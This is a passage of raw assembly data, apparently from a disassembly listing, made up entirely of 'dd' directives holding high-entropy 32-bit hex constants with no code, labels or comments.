dd 1C37F43Ch, 954D170Bh, 0D2CAF6DEh, 0E7B78C88h, 229EE2FAh
dd 0C36A0C24h, 0FE6C7B39h, 0D32A3B58h, 652B3E42h, 2683AD15h
dd 2C10D51Eh, 0F3385D24h, 55F51402h, 9EE78AF6h, 0CA413173h
dd 64BF4FC7h, 5DCD5637h, 779716B7h, 0A3C53741h, 8E0FF3A6h
dd 395B898Bh, 6AA08BC5h, 0FF615396h, 0F5B5500Eh, 0F2D5CCB4h
dd 4205AD95h, 45D9382h, 0D088A91Bh, 156C73F6h, 0EB7C8EB9h
dd 1D0845FBh, 7D8EE12Ch, 0A26A5EB4h, 93E510E1h, 3F8BE660h
dd 9C0030DDh, 0D09E7F0Bh, 0B1EE587h, 2F7117FCh, 7C521654h
dd 2F1397AAh, 9FA14738h, 0F4C9BDCEh, 0F4852AD0h, 8E72BB57h
dd 0C89AFEDEh, 3D61520Bh, 9E3F90D0h, 0D46894AAh, 4410362h
dd 6DF9469Ah, 412F22h, 0ED7AC493h, 25528755h, 6605844Bh
dd 1E49A29Dh, 688FBD49h, 6D72FB65h, 783253BEh, 6050D9BAh
dd 84CB1367h, 849284EAh, 56393AD8h, 18548D32h, 0B0BC8322h
dd 0C0B8D13Bh, 2D3215ABh, 5B84AE12h, 78C30553h, 0E9D7641h
dd 255687A8h, 660700E7h, 940990EFh, 5A8BB82Ch, 5012ABB8h
dd 785F3D27h, 1B75BE45h, 180BA4B2h, 71C27337h, 0B5C28CA1h
dd 0E93F4B6Dh, 23FC2F28h, 9B242DBDh, 81712A1Eh, 5F6F9853h
dd 8C4055D9h, 29F45FA3h, 9A33A4FFh, 0C5D62060h, 0BD0B50E5h
dd 5BB5AB16h, 44FE81DCh, 0CA8B7D60h, 0A6B70143h, 0EE8DDE72h
dd 4CCCAB7Fh, 0EAF7E1A9h, 5DD14489h, 8977CBCh, 8DAE0419h
dd 1C84A271h, 0CA49ED8Ch, 0B96BAB2h, 34354576h, 0F009AAA9h
dd 81F539DAh, 180C57E7h, 3ECBD4CAh, 0F3E49DF1h, 361DF62Fh
dd 43F4E8C6h, 0E493E2EEh
dd 0DBF9AA20h, 35B24146h, 7A745E64h, 3AC9FFA5h, 3C62AB32h
dd 0BEB2650Ah, 627247EEh, 6D433036h, 0F48292BFh, 99499DCh
dd 0DACCC08Ah, 7FF9E606h, 0D497144Ah, 5FB36ABDh, 0C7FC231h
dd 0DD708DCh, 963D62F3h, 40166269h, 549281CEh, 57F0C432h
dd 0C415C283h, 2FB9AA5Fh, 0EB067C88h, 0D4AD40B5h, 5AA473DFh
dd 0F15A1720h, 335038F6h, 228F914Eh, 0FFD2D51Ah, 0F519D111h
dd 5C847060h, 0C514D8F3h, 0D7FA8634h, 6CB6C3D0h, 0A5E45E4Ch
dd 5CE8BCFBh, 421BD8CBh, 76E6743Eh, 0CCC5AAFEh, 35DE96B8h
dd 83FC595Eh, 0F83B396Eh, 8DAB3FF5h, 2091197Bh, 0EDF72EEEh
dd 4EF0C35Ch, 35FA8877h, 0E966CDE6h, 45ED8063h, 9EB8CBBCh
dd 600919FEh, 1F4EC60Eh, 0D0EDB80Dh, 0E6FD182Ah, 8654F9B2h
dd 7FEFAC3Fh, 6C242CF9h, 83C23CE5h, 50E212DBh, 502962B7h
dd 6DD44E86h, 7BC193A8h, 0B2B5A988h, 3051C444h, 90E34566h
dd 0D0A9FE8h, 61074222h, 0A6307730h, 938DE2F0h, 3846B278h
dd 3C019A9Bh, 0C79F83A0h, 30FA5C31h, 0D692402Ah, 97EA6079h
dd 0C0EDBD8Bh, 80C7ADDBh, 0F6E7CEE6h, 0FA07ECFh, 4E961C56h
dd 8698788Fh, 4C8885F8h, 5649E9DBh, 0E16E506Eh, 988F9BA5h
dd 0CE1920D5h, 5AB3CE4h, 33F7A1B9h, 4C99FE07h, 0F2ADF31h
dd 1CEA48BAh, 0F6C3C2E9h, 183FFEE6h, 0CCF80C49h, 0CCDDBBA3h
dd 0A0FA21BAh, 4A553C56h, 0AB8E189Ah, 0D44BC6B6h, 7BAA5F76h
dd 9E9C7A76h, 207BEE3Ah, 0DDA2C004h, 0B7F3C26h, 7C6B3BD9h
dd 0EE99D849h, 5FF1BBAAh, 0B110F133h, 1B8E8ED0h, 5CA20754h
dd 0AD8F6E12h, 5E2740C1h, 3DE4CAC0h, 0C772F61Eh, 0C7BEB4C2h
dd 1CFADA95h, 339B3C2Bh, 2C8AD19h, 0CB1DFF88h, 0FC4F6897h
dd 13252F1Dh, 0CB94F989h, 0F0A25711h, 0ED42DD52h, 60A521B3h
dd 6B6120E8h, 94D5A6B7h, 94C79BBDh, 85548F8Dh, 60B3F511h
dd 5AFE1D1Ch, 2D36D287h, 0C69848C3h, 6457AC63h, 88F151A3h
dd 461CA312h, 13D3C3ACh, 9726E6DFh, 9D9FDEC1h, 2BABF314h
dd 637CB633h, 8C004632h, 9910F16Ch, 8363DD1Bh, 2E4052ACh
dd 5324ADE5h, 24453AC5h, 0C820DD1Ah, 0F1D23219h, 0BC4E57C0h
dd 0E8C40A35h, 63244D9Dh, 5840F867h, 2BBFCF8Fh, 0F2A9A52Ch
dd 0C7E631FFh, 0BFD291A6h, 6FF75F88h, 0B4A6A2ABh, 0EE74D570h
dd 4DAB09A5h, 42793402h, 0AF511C1Ch, 96C2B600h, 4B80F025h
dd 0F926C103h, 60EF328Ch, 0E74DC8DCh, 4A22DE5Fh, 21894481h
dd 636862BAh, 0D059C08Fh, 0C52C5691h, 0D9EDE67Fh, 0EBBF387Fh
dd 1711D615h, 0C8B923EBh, 6AFDD5D2h, 613CFB88h, 45C817E1h
dd 0A70910BCh, 0A5706B62h, 8C150BFBh, 0D382B517h, 0D037FF17h
dd 7AFD3B85h, 89D42C87h, 6C4B8C4Bh, 927897Ah, 55821CBAh
dd 96A6A5B7h, 6896DDDEh, 3955BBC0h, 195137DDh, 6F068AC7h
dd 893328C5h, 0B8C50AD7h, 41B3FBE6h, 3D318C1Bh, 0E4BE0BF8h
dd 1B823E33h, 0D65ABA40h, 0D1CCB33Bh, 3381B760h, 0A916CBD1h
dd 40B3085Dh, 0E377D033h, 6A727ED6h, 67AE41D2h, 0BE3F7018h
dd 733937AFh, 0B9C8C970h, 0E3A7173h, 0ADD34BB7h, 98C779A8h
dd 61898034h, 0A9896180h, 0C55C334Ch, 6C73285Bh, 0EF8295C9h
dd 491A6339h, 286092E9h, 9B8F7116h, 4A180853h, 248FDA1Eh
dd 0CDD2EFCDh, 80BD268Ch, 1A48BA72h, 0AC2B2587h, 601AC5E6h
dd 0F3400211h, 2B3171B6h, 4D12F3AAh, 55970B16h, 0D2519087h
dd 0B146D403h, 693DA0D2h, 0D8A3E54Eh, 0B87F0023h, 0E2E979B7h
dd 5449C5FEh, 2527B8BFh, 0C3D0946h, 2A7A26C9h, 0A8C63977h
dd 0D8F74ED1h, 2E13A978h, 554A0F5Bh, 0A1B24843h, 0DDC31F80h
dd 98DBAB8Bh, 45E5DA43h, 5CF39F4Ah, 5E7B016Dh, 170B7397h
dd 83D2C51Bh, 0F65F878Ah, 3D86BD5Ch, 54E517F1h, 0F72DD6A8h
dd 0BABAE1E1h, 26AC6170h, 18EB740Eh, 64D4159Dh, 15D842D3h
dd 20A2E618h, 0DE559D0Dh, 0F572AC05h, 93BE6F8Dh, 0C87CCE6Ch
dd 0CB42E74h, 0C2C36AC8h, 5CC8540Eh, 0E9A2213Fh, 0AF63FC43h
dd 9A81473Eh, 3D2A1655h, 271B11AFh, 7CE1FEC9h, 0CCFC1310h
dd 372E27ADh, 1DBDC55Eh, 0A52525C0h, 0D79E7FF9h, 0E9265CDCh
dd 15565FF0h, 0DA4AEDCCh, 0DD86ACABh, 0B2090743h, 0FF8BFFFBh
dd 19E6D015h, 660D58Eh, 0E2075096h, 0B23CB170h, 909619D3h
dd 0A7F60DE7h, 8F2287DEh, 83700D1Dh, 0EA9E3203h, 68C28D95h
dd 77A15CBFh, 0C9097206h, 83E7BAEh, 0FE94FAC4h, 88502C84h
dd 0AA4957C8h, 0A2C8F630h, 0F3FD693Fh, 8CA5510Ah, 7EA26841h
dd 4505A6E7h, 0D65FD970h, 8FA30B8Ch, 6AE9528Ah, 0ED09CE42h
dd 0A9D974C7h, 8F33CF39h, 681B49A8h, 31B2847Ch, 584DDBA9h
dd 8DFF4D4Dh, 92663912h, 5778C775h, 592347A1h, 762D6B52h
dd 7808888Ch, 485043BDh, 0E1F09303h, 97B2CD1Dh, 0CED5FC04h
dd 1C45D7F1h, 0CC96D40Ch, 0F843ECF6h, 0B701866Bh, 0CE3ED265h
dd 0D2D8218Ah, 660BEFEFh, 98078D83h, 13A45CA9h, 0D3DE1DE0h
dd 682BF86Eh, 0FF2EADBh, 0F872F43Eh, 96B9C71Fh, 0FCF32C78h
dd 0E6B54EE8h, 5AFD6D5h, 4CE9ADEFh, 33B78B38h, 14491D3h
dd 0A9A6ECDFh, 95F5B883h, 0CF192BEFh, 18960581h, 0DC98A2A6h
dd 0E55CA7B4h, 0FD733596h, 8A336B4Ch, 985C8141h, 0DA112A12h
dd 0BD4CB657h, 2EE6B6B9h, 247C33AAh, 0AEAE8428h, 96B3CB0Ah
dd 0D81B4121h, 0B35FF58Fh, 0D3946A1Fh, 75556961h, 8D26C671h
dd 6BC76866h, 597C98BBh, 39F23B0Eh, 0F7F44EABh, 393C8A0Bh
dd 2F808FE0h, 0F17CE65Ah, 4BF633EDh, 0CFC7C7DCh, 0FBF828DBh
dd 65559E14h, 50A62464h, 483F50A5h, 641FD7ACh, 0D44506D9h
dd 0E688F44Dh, 0C0F36FBDh, 82AA0BCDh, 37251DACh, 0BBB32142h
dd 452D7721h, 0BFB991D7h, 7CFBB6Dh, 0CDF55890h, 0B80A5897h
dd 2E5A8D53h, 9FCFCC6Ah, 3060FA6h, 0EEA8B584h, 0BC1A8DAAh
dd 8C2EDE31h, 9C67F3AEh, 28E04518h, 0A6DF7CCFh, 43255836h
dd 35182B14h, 2D03CF37h, 8E369F7Ah, 1784C0B7h, 0B8F17D73h
dd 4E77CB7Fh, 6AAB938Fh, 4DE192DCh, 7D2FD59Eh, 0AFBC8F21h
dd 3874772Dh, 59A7A8B0h, 2BF67DE2h, 3FD2216Bh, 0C4734756h
dd 50755987h, 0D002BE62h, 0AB628C2Fh, 154BD1FCh, 684C302h
dd 0F9893334h, 8134FAA1h, 0D4812AE0h, 0F10C6B04h, 458BB16Ch
dd 0B3DD8F41h, 430E28EFh, 99CD2548h, 4CCC5A3Ah, 0C9AAD426h
dd 25A5A5A9h, 1F3AB354h, 8F787A6h, 0CD1036BBh, 0A38AB527h
dd 9A99B17Bh, 6FCCA5Ch, 0C79A245Bh, 0DB9E05F2h, 0C88C7344h
dd 8A938489h, 6B0D95FAh, 0C9D39DEFh, 70ADD12Ah, 0E4A57725h
dd 0B899F916h, 70AF0C4Fh, 72B12801h, 0FB891C9Bh, 0E9D782AFh
dd 8278F501h, 98D52719h, 0C9F08747h, 8F597103h, 4F611148h
dd 0FEF8F085h, 7EAA5893h, 8631E692h, 5B5D01C9h, 6648BE2Ch
dd 198E95F7h, 0CAE27618h, 4A920B35h, 283CC109h, 3B3458C8h
dd 9BE21032h, 179BD2E4h, 56E0FBC6h, 4F3FDDC4h, 0F797935Fh
dd 3292DAEEh, 25E1F950h, 2014C62Eh, 0B76E4E36h, 0FAF97AF3h
dd 0EBF3D01Ah, 3F9C3C0Fh, 2FD92996h, 0C8D62CFFh, 0AA91FBEDh
dd 7B2A4952h, 24618F95h, 0EB9EA720h, 89CE2FEEh, 1CEBB67Ch
dd 8B22688Ah, 0E3CF2025h, 9F2A04A1h, 448F7069h, 26FB0E65h
dd 0D7182EB2h, 0FF3B2F1Eh, 613AB171h, 4B9D3345h, 9156F59Eh
dd 0CE621D34h, 0E7FD43ABh, 3DAE8DE7h, 4FB29632h, 21E405A1h
dd 7A31ED21h, 0BB548CAEh, 1DCDBF06h, 6CC735E4h, 63F9A4Ch
dd 5A2B3944h, 0E3E768CAh
dd 0DAB7BCF1h, 131ACC18h, 6D37406Ch, 38B7D323h, 25318844h
dd 0CB21D154h, 0C0FFA6AFh, 2BC32873h, 4F3167h, 94013B1h
dd 0A9AE3C27h, 680A53E1h, 327E6745h, 928054CBh, 1D7A3167h
dd 6240AF37h, 0EEEEE9BEh, 0B44540BAh, 85FD8276h, 95D08FA3h
dd 33ECA6E5h, 8EE6F288h, 0C64C39B3h, 0CF1AD787h, 63256E86h
dd 5F9F6029h, 72BD8962h, 0D4DB812Fh, 0B99742F5h, 0FD96C1D1h
dd 53EDF3BCh, 271CEA2h, 44D29F71h, 6ED152A9h, 35A05060h
dd 2BF8D9CCh, 344BF013h, 50F562E1h, 3465DCBFh, 0FFBC6FABh
dd 1F686BEFh, 97F34DE6h, 1D48B8D2h, 0A046FE48h, 0F0419647h
dd 866793C6h, 0A9B5A7DEh, 0D2C3E0Fh, 3105394Fh, 208207F5h
dd 76B46D26h, 964C5CDCh, 2CD4D723h, 3C7B82A6h, 0FDAD8BBFh
dd 0EB70787Dh, 0D21189FFh, 98640843h, 62B898DDh, 0B84D2BACh
dd 7B654485h, 87CB43C2h, 522AC17Ch, 0D0C6BAE1h, 0EC388B03h
dd 506BDB1Ah, 50FCC895h, 0E34A2DBDh, 3244AFB0h, 6D3CEEAEh
dd 0DB4AD0BAh, 35D3B592h, 114462CDh, 0AF389918h, 931EA130h
dd 0EBDA4434h, 11FB61CFh, 9579A9B6h, 0A33E044h, 8DAED8A1h
dd 0ABA7DD2Ah, 0E65019ABh, 0B450DC0h, 6DC7C5B2h, 0B7BC7C0Eh
dd 0E2A2B629h, 4A6A4E25h, 48790383h, 328DDC55h, 4E52EE44h
dd 0CF17BC4Dh, 0E46F5D32h, 7EE03397h, 16B7E633h, 6D0EDE51h
dd 0C126485Ch, 5AA7771Bh, 31DFAB0Ch, 60F35978h, 617AA0D2h
dd 0AF0FCCF7h, 8CB96A9Bh, 1A868575h, 0D1A2976Eh, 0F7909470h
dd 5601DBB8h, 0A6934B64h, 6E867D96h, 0CA6E6C4Ah, 0E66B062Eh
dd 5A1C5A5Fh, 0BB52CED7h, 44EE5929h, 0F41C1845h, 6565A560h
dd 798D7A2Fh, 0D0902CC1h, 1409A191h, 7A5EDFE1h, 2F57BFD2h
dd 0E9916D7Fh, 8F801DE3h, 0E6BBEBB6h, 8146D546h, 0C87ABD4Ch
dd 38752F79h, 0ACE558E8h, 61AB50FEh, 17ABC887h, 55E29E71h
dd 0BAE2C7D7h, 913E692h, 0CFA36F28h, 0F8CFFAB6h, 0D679660Fh
dd 5D78FE52h, 0B20BDC82h, 82F4872Ah, 0D0336850h, 3FA70A5Ah
dd 0C3372BFh, 253A8202h, 0E5A94C1Ch, 0D58E6455h, 7078307Bh
dd 6C9379BAh, 2D92D396h, 0D46E49E4h, 56907CCAh, 2EF19179h
dd 309814EBh, 0F0E20FB9h, 0DF5524F1h, 5FBEC44Bh, 0E55A9120h
dd 9734097h, 0B7863E29h, 0F9CA060Eh, 538C2EDAh, 85979124h
dd 520B09FFh, 8E5029E1h, 0E8189896h, 2B277F43h, 1CF9D51Ch
dd 881C51D7h, 0B37F904Fh, 20B17F44h, 3C6F9CBAh, 57496CDh
dd 40BF2484h, 5B5498E6h, 21350A70h, 94ADAFD3h, 0C2400DE0h
dd 0AED5C1AEh, 34652E25h, 0B4AE641Eh, 4151E3D9h, 8494562Bh
dd 9A9F697Fh, 589E24F8h, 0CD312EB4h, 0DAC04FE8h, 0E6C5743h
dd 0FBE06159h, 0AA6BA4AAh, 0BEB0906Ch, 15D44DADh, 0C864F3E4h
dd 527924FEh, 2F983DE3h, 3BCD1B68h, 23C3494Fh, 807954A5h
dd 9BC2768h, 8F858F10h, 90FEC4FCh, 0EF7C509Dh, 1DA751EAh
dd 40E4F8E0h, 7B279ED6h, 4C4CB258h, 13DDC428h, 0C6B8ECDAh
dd 71BDC38Fh, 8A2C91F3h, 35C2D573h, 8BC4BFDEh, 53135430h
dd 0EB472F84h, 9FE21B6Dh, 0C0550953h, 8DB21F1Dh, 808CE20Fh
dd 0D4EA5BC3h, 0EF18B038h, 82C47926h, 0DB02ECB3h, 2DE9172Bh
dd 4EA97BDEh, 0AB125EE6h, 0D9BE9A93h, 0F530B76Dh, 5CECE9C2h
dd 41DF77F1h, 7AB8C478h, 0C06631A5h, 933D5CD8h, 70B51C8Ah
dd 7D2BD1Ah, 51AFABC8h, 72EAB8Eh, 0E489F5Eh, 0A5FC160Ch
dd 1F95B251h, 0CE1CDA78h, 0A44A61D1h, 0CACF5BE0h, 90026C69h
dd 43248B46h, 0B121E4AEh, 0C40243C1h, 7030F430h, 0F17120A0h
dd 0F7F19096h, 0BC03C283h, 0EDEF883Dh, 55A9FC0Dh, 44B05F11h
dd 0C16215B1h, 0DF0B87DCh, 71956D92h, 0B60482F5h, 6FDECDh
dd 0E6DA04EFh, 7BD518CFh, 914B3E21h, 0F8808040h, 99B94ED7h
dd 6DA512A5h, 0E238DF7Fh, 0D48A0915h, 0B06FD119h, 4B9BB305h
dd 955B282Ch, 0FD450230h, 33A52E54h, 0CCA91906h, 8E82C428h
dd 1286F724h, 7EF41FC4h, 435D64F4h, 8A1255ACh, 34514CD0h
dd 0CAD8FA78h, 0F2B92441h, 0B7175ED7h, 56F3538Dh, 4C744A6Bh
dd 54716ABEh, 0BA513915h, 0E623A077h, 54AA403Dh, 0D78811E2h
dd 0FC75182Fh, 2A96A507h, 88B201C3h, 5CFDD0A4h, 7D8AE8A4h
dd 0A3E6B871h, 9CF7374h, 4524914Dh, 0EF3D3CA7h, 0AA42E193h
dd 62A646F8h, 365D214Ch, 148F80F6h, 0D48C45ADh, 7B89659Eh
dd 67A7F2E4h, 971FD178h, 50110D15h, 2A56160Ch, 952239E0h
dd 0CA808h, 1741E1D8h, 25E0F771h, 4C10736Dh, 0FE0A2D4Fh
dd 0BC41ACAAh, 7123898h, 5022DA56h, 0C30EBA82h, 1A8B0C4h
dd 0BB90AB46h, 9C52CDEAh, 70EC1ABAh, 0C9306B54h, 375286E3h
dd 5EDC5CC5h, 0C98D7650h, 52E74367h, 190A4383h, 0BD5D7D94h
dd 0CF2B41D2h, 0D31A609Dh, 0BCC552A2h, 0A0FA60AEh, 672C2334h
dd 99E80279h, 73D70BD0h, 0DA9D5BC0h, 0FB2CB0B0h, 0C876364h
dd 0FE890B3Bh, 0ACEDE6FBh, 577D7927h, 4D5F0B34h, 530F626h
dd 697B097Eh, 39E0076Dh, 0CD45716Ch, 9435E1C2h, 37ACD231h
dd 43368E16h, 6307C519h, 209E76EAh, 853ED5CFh, 0B705D8A7h
dd 0E02F1C9Dh, 2D16C9Eh, 0AF419316h, 5BABA85Dh, 24E70AD7h
dd 0EE2E8FBCh, 0B76A14BDh, 21233470h, 0E8C35915h, 325AA592h
dd 1D862137h, 0EEC2788Dh, 0BC569330h, 7E27329Dh, 32956EADh
dd 0B6E654FEh, 96EE9E02h, 0A9709BDEh, 1318D79Ah, 0B06B5749h
dd 5F1C9D79h, 779ECD59h, 0F66AF0AFh, 0A9D177DCh, 15FD5CAh
dd 83E41063h, 0D30D21BFh, 5FB2DCCDh, 0A86424CCh, 6E4E49B8h
dd 0B388EA38h, 0E9932F77h, 8B6ABFD8h, 7E393590h, 53A6E15Dh
dd 0B4023B8Fh, 33BD8AE0h, 65B70F70h, 92FD849Eh, 0AF979656h
dd 0C15A4D93h, 0B1AC108h, 0DD35F6F4h, 36BB8C57h, 30FF551h
dd 7830EB0Eh, 9618DAC0h, 61127246h, 8408C891h, 1BDCE53Eh
dd 0A4C1DC75h, 5D9222D9h, 0FA1646EAh, 0B158300Eh, 80080B5h
dd 0E11C61F2h, 75A8DA98h, 2CF7C0F2h, 0F54769CAh, 47A29D3Ch
dd 0D45FFE90h, 2AAD289Fh, 314D545h, 0BAEFC161h, 0F8DA9B6Bh
dd 0AB164EE9h, 7F6893AAh, 309CA420h, 0A039183Dh, 0F6D127FAh
dd 0FE38120Fh, 3F0CAC06h, 0B98CE054h, 24D60E0Ah, 95ED4D50h
dd 0F2DC7366h, 0C4E937ABh, 5BCA049Ah, 41903126h, 29245F3Eh
dd 0B4EA7790h, 2E62885h, 3F11EEh, 4F1CBAEh, 0EB98C41Ah
dd 0AD947A03h, 0D87C13CEh, 0E309CC08h, 1A6A2B1Fh, 490902DBh
dd 0EED611D6h, 0EB09A889h, 0A716F97h, 1D676153h, 0B037E9BBh
dd 0C5A9BD67h, 72CEB306h, 16A1A6E9h, 731030D8h, 386C147Bh
dd 46F2B917h, 99908E3Bh, 8792BB46h, 0AE498E87h, 37EC7B1Eh
dd 62371B4Ah, 107832A7h, 9C8366DAh, 32821B9Bh, 70637395h
dd 9D4AB2DAh, 0AEDACEDCh, 754514A5h, 5342E7CDh, 0FD6AFB73h
dd 0BF23B0E7h, 0E52B922h, 0D397049Bh, 0D322A5A0h, 9BFA079Bh
dd 87AFE3B1h, 1191EF78h, 0F5EEA4F9h, 72A54B8Ch, 0DDB49ACEh
dd 0CBE41E7Fh, 4A59B33h, 0B560B4EEh, 106EFE1Fh, 7797392Ch
dd 0BECF67E4h, 3759754h, 6EFF9DC0h, 21F490DEh, 6BD1969Bh
dd 78F7F342h, 6846E161h, 0E3979567h, 0D78D0BB0h, 2D9BB642h
dd 0DA2442FAh, 83243F8h, 0FBAA700Bh, 0FD0F5A3Bh, 0F7F07D6Eh
dd 4672F37Ah, 0E33CD41Bh, 59B2CD31h, 5FD52839h, 0DE232E53h
dd 6D5D6366h, 50AD2D08h, 141AF1Dh, 0C866716Fh, 4B2EEDD0h
dd 99DFFE84h, 0D124F4F0h, 2E9457C0h, 0F2F6E573h, 7DD0B83Ah
dd 0A272ACC8h, 4A8F51C0h
dd 0EB547F56h, 2C351CCDh, 0B089D78Ah, 1DB12EB7h, 1E1F3735h
dd 3C309D40h, 0B8912B33h, 0FBCEC718h, 0F27DBD57h, 0C50D91EDh
dd 0F5D852EBh, 301051B7h, 0E461621Eh, 68102DD4h, 7011E2F8h
dd 0BCCB3693h, 15D887EFh, 0E27576EAh, 71DFDDDAh, 68D29FBEh
dd 693A3259h, 15FBCCA0h, 0C391DF33h, 6C35CBDDh, 24107F2Ah
dd 0EABB7C8h, 0C499B55h, 0E81FCA52h, 82E5D1A4h, 3AADDD74h
dd 79232489h, 0ECB154AAh, 477150ACh, 0A7C2D59h, 0A72C193Bh
dd 0E2F85DDDh, 8DEC52A9h, 8BCFA6A4h, 7D3BED44h, 87350407h
dd 91E9DE5Ch, 1EF01589h, 268DE719h, 0AE31871Dh, 0F5A65CBCh
dd 595F7874h, 0C7184846h, 68B91DFEh, 0F6299C4Ch, 2DC9C1EAh
dd 6A184BDCh, 0D8DD49DDh, 2EA40A63h, 0EFF0CD63h, 4CF68E1h
dd 2EEDE32Fh, 3C3762BCh, 4402C15Eh, 0A2FC93C7h, 173AA1B7h
dd 0EF8F6E3Ah, 142C5C71h, 5491C7EBh, 483FBC32h, 0BDEE1201h
dd 4D2B8592h, 81B1053Fh, 0CACC37FAh, 0F10BED3Bh, 0F09D419Dh
dd 3614110h, 8352521Eh, 605D18E0h, 8EC81701h, 0DEC25964h
dd 57DDE7B2h, 560F9CFBh, 4257BA95h, 20B9C835h, 0F0E1EE7Eh
dd 14BD5BF7h, 0BA45C94Ch, 0EE4283BAh, 0EFD8E036h, 4CF7751Dh
dd 0E8400462h, 30219DACh, 3DAD8BDBh, 8BE60BF2h, 65D8E07Dh
dd 1404D997h, 5A1B7957h, 5E9B8063h, 18A5ABEBh, 75F6BADCh
dd 742E7D90h, 3169C896h, 4200238Ah, 0CD98E1FFh, 18454BCDh
dd 0BAAC9AD8h, 2730114h, 2945B17Ch, 0E3C31729h, 83A031C1h
dd 38CE39DDh, 93C4417Ch, 0FFE1EC01h, 72333503h, 0AE29792Ch
dd 90A608BBh, 9811AF8Ah, 0FC8CC2D5h, 1E032CC6h, 0DAD1C65Dh
dd 5CDAA16Fh, 0F6A0CF4Ch, 8DAA8873h, 0A8952DBAh, 0A1347209h
dd 5254D1EDh, 0ED5B073Ah, 0C9A53B13h, 9631A16Ah, 3B5FF53Ah
dd 0DA856258h, 0EC1A3E5Ch, 9278B344h, 9FC42465h, 9D34B42Fh
dd 7A0828B5h, 8B8DEE28h, 79146F93h, 0EE1BA86Fh, 0E6DCC487h
dd 89CA5207h, 0F0ED1AB3h, 53CAC886h, 0E5544E9Dh, 0EE6535F8h
dd 7462CDC8h, 0EF4036Fh, 0D7E4F8D7h, 7F36BDB8h, 1993A042h
dd 0C2051F8Fh, 0CA54E44Eh, 0A62F54A3h, 0AE82FCCFh, 0E99DE17Dh
dd 0B41A942Ch, 64D5C689h, 8D05B304h, 8815A101h, 0D6D7E2E5h
dd 42C57857h, 2DA5E694h, 54F1A66Ch, 1C82E287h, 3D906EC0h
dd 667140A3h, 0BF633588h, 0E0340604h, 8DC7875h, 6095C8A6h
dd 210DC64h, 0D39AC086h, 0A7B065D4h, 279453B4h, 0A1310E29h
dd 0F51B07C2h, 9EFF33F4h, 9B284A66h, 799B6337h, 705C6416h
dd 20F3C886h, 0B45AA7ACh, 8BF18A7h, 1A40F731h, 3C4EA197h
dd 8C18F2B4h, 0FE6578FAh, 0ADC84D9Bh, 907FBC60h, 0B3A37348h
dd 0C4BB6BE6h, 0A1185DBBh, 6057971Dh, 654EBFCEh, 9E1748A3h
dd 61A71427h, 8E10DDF5h, 231862CBh, 6BFFDE4Eh, 4803D856h
dd 0A4165617h, 33EFAADAh, 4DDF08C5h, 0DBEBC3A7h, 5882CAB3h
dd 0F4C53897h, 3BDCF70Dh, 0E0A73EB8h, 7DB66EA6h, 2E719751h
dd 4C6AB9D5h, 797F9051h, 63836419h, 0B712AA50h, 6560B3E6h
dd 7BD5293Fh, 558B7D78h, 53D5708Bh, 6D564344h, 0D6E13A6h
dd 917FE3A3h, 2FC2459h, 9E42A2FAh, 0FE4DEEB6h, 0B5A3FEE9h
dd 70AC8512h, 0DBB646AAh, 39A46CF3h, 0FB67B3B6h, 0D14C10F8h
dd 95924940h, 728A0045h, 0A8173DBBh, 71F08DDBh, 7B1DA84Dh
dd 224E95D8h, 6863DF0h, 65F872B6h, 63E5B471h, 0AE2ABDB0h
dd 99135461h, 7681B916h, 5EE33E0Dh, 620E8A13h, 0C8A29248h
dd 4B04E806h, 0B2786AB6h, 0E441BDAEh, 0BAE0D30Eh, 433EBA7Bh
dd 3DAD2710h, 6A864A03h, 0F395612Fh, 0A12255F8h, 1DD61BA7h
dd 280B49B9h, 1664172Eh, 6A01A62Fh, 0BA7FFB1Eh, 56C4E1BEh
dd 0A1076BB9h, 1A4D907Bh, 0A615B5A4h, 5C3B20Ah, 36EA34Ch
dd 45D53706h, 48DD07FFh, 0DFCACF46h, 8C643411h, 0A4E6A1EEh
dd 0DCF1E31Ch, 4A79D784h, 9BA014E3h, 0C4D1F928h, 1F680A50h
dd 4528055Ah, 0D66BEF87h, 0F0F03524h, 16B345DBh, 0B6B15CE3h
dd 0B1208270h, 1EBD55A6h, 0F80A3136h, 55D8FDBBh, 0C1F9240Ch
dd 0A9C15630h, 0CA6EAA0Ah, 31AECC4Dh, 0E2618E67h, 8A3CE066h
dd 786E96A2h, 0C325D3CDh, 76162FAAh, 9CF918F1h, 14900A29h
dd 0FB9D8E07h, 9E723587h, 0A61AF2A6h, 7DD879Fh, 0B53CB103h
dd 5A22D015h, 88E44143h, 0ABBF7E19h, 0EECBBEF9h, 0F95D95B8h
dd 0AE0DB431h, 5EDA1BC8h, 0A51DFB11h, 0B702E0E4h, 7567216Bh
dd 8755633Eh, 0A3F9E823h, 411C70DEh, 0DC45FDC1h, 448F9A89h
dd 0F624568h, 0BC5B0136h, 882DA2F1h, 1A7CCFF7h, 15E16D53h
dd 0BC6078BBh, 1ED2FE39h, 40FCB003h, 8319A290h, 1DC3AC47h
dd 0E12DBD89h, 65F16E61h, 9FE2DEBBh, 81A37762h, 5A4B136Dh
dd 50577E2h, 0D3AEB539h, 5CAC6974h, 0DD79755Ch, 6E4E9E6Bh
dd 0B3FCE6E1h, 0BC64630Ch, 45C739FBh, 25AA1780h, 0C06BD7CBh
dd 504E1DA0h, 0DA6C63FDh, 1056129Eh, 0BE9F5FFh, 0B1C31B0Dh
dd 7494537Fh, 616DDCh, 0A068308Dh, 831A8395h, 11253E41h
dd 0B520F9F1h, 80371F2Eh, 0F8E1188h, 0A381535Fh, 0D0D12C5Dh
dd 50389F77h, 8A9B7008h, 0FE880175h, 2EB74C5Dh, 9407EA18h
dd 50B53B9Dh, 80734CA2h, 4C28B494h, 802EF554h, 0C1774245h
dd 350DF8D4h, 1F19A19Ch, 8C344CCBh, 37A104B6h, 404ED1F2h
dd 56E3EB6Bh, 5C44E28Ah, 6C87F58Ah, 74307997h, 0EC8AB722h
dd 4117A555h, 42C39C52h, 941B20D9h, 0F33FAE00h, 663A498h
dd 0F017CA58h, 0A75B890Ch, 0D0CEED3Ch, 0F5A4BD62h, 6235DC15h
dd 0A425AA2Dh, 0D8A5C4B9h, 96BFA522h, 18F4CC04h, 9305FAB4h
dd 8AE2F5D2h, 0E4CC0F4Fh, 2CA98C74h, 95C73492h, 0C4F54B87h
dd 1D79876Ah, 9B2D5DE0h, 6201F14Ah, 0D6E676A3h, 0F13F474Eh
dd 82BEA18h, 0C79C651Bh, 92137E0Ah, 5410EEA7h, 0AC76026Eh
dd 85462DE6h, 92F33C2h, 0BEB0F03Eh, 5A9841FCh, 4F02140Dh
dd 2B90268Bh, 706B4DAEh, 210CAEB2h, 2EAA93A5h, 49A97Fh
dd 15CB9F4Ah, 8FEDC3BFh, 0F391FC8Bh, 0D64E73D6h, 0B0AEA9Ch
